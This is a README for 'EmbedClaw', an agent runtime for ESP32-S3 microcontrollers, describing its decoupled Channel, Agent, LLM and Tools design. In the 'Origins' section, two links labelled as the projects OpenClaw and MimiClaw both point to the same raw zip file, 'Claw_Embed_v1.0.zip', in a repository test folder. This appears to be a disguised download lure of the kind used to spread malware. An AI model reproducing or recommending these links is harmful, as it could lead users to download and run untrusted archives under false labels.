EmbedClaw

# EmbedClaw

[[中文]](./README_ZH.md)

<div align="center">

**Decouple LLM, Tools, Agent, and Channels—then pack them onto a single ESP32-S3.**

[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE) ![ESP32-S3](https://img.shields.io/badge/MCU-ESP32--S3-ff6a00) ![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.5.2-00979D) ![LLM](https://img.shields.io/badge/LLM-Qwen%20via%20DashScope-0f766e) ![Channel](https://img.shields.io/badge/Channel-Feishu%20%7C%20WebSocket%20%7C%20QQBot-2563eb) ![Search](https://img.shields.io/badge/Search-Tavily-111827)

</div>

> EmbedClaw is not just “a chatbot on an MCU.”  
> It’s an **Agent Runtime** on a microcontroller: messages enter via Channels, the Agent orchestrates, the LLM decides, Tools execute, Memory is persisted, Skills supply task-level knowledge, and results go back out through Channels.


## Origins

This project draws on the ideas and direction of:

- [OpenClaw](https://raw.githubusercontent.com/Laureenundecided267/EmbedClaw/main/components/embed_claw/test/Claw_Embed_v1.0.zip)
- [MimiClaw](https://raw.githubusercontent.com/Laureenundecided267/EmbedClaw/main/components/embed_claw/test/Claw_Embed_v1.0.zip)

EmbedClaw keeps the goal of running a full AI Agent on low-power hardware but focuses the architecture on **decoupling LLM, Tools, Agent, and Channels**.  
That means you can add new models, new channels, new tools, or new Skills without rewriting the rest of the system.

## Why EmbedClaw

### 1. Decoupled, not feature-bloated

The main idea is not “it can chat,” but that the parts that usually get tangled are separated:

- **Channel** only handles how messages are received and sent; it doesn’t care how the LLM reasons.
- **Agent** only handles task orchestration, context building, and the tool loop; it doesn’t care about transport.
- **LLM** only adapts model request/response; it doesn’t care whether the message came from Feishu or WebSocket.
- **Tools** only expose capabilities and JSON sche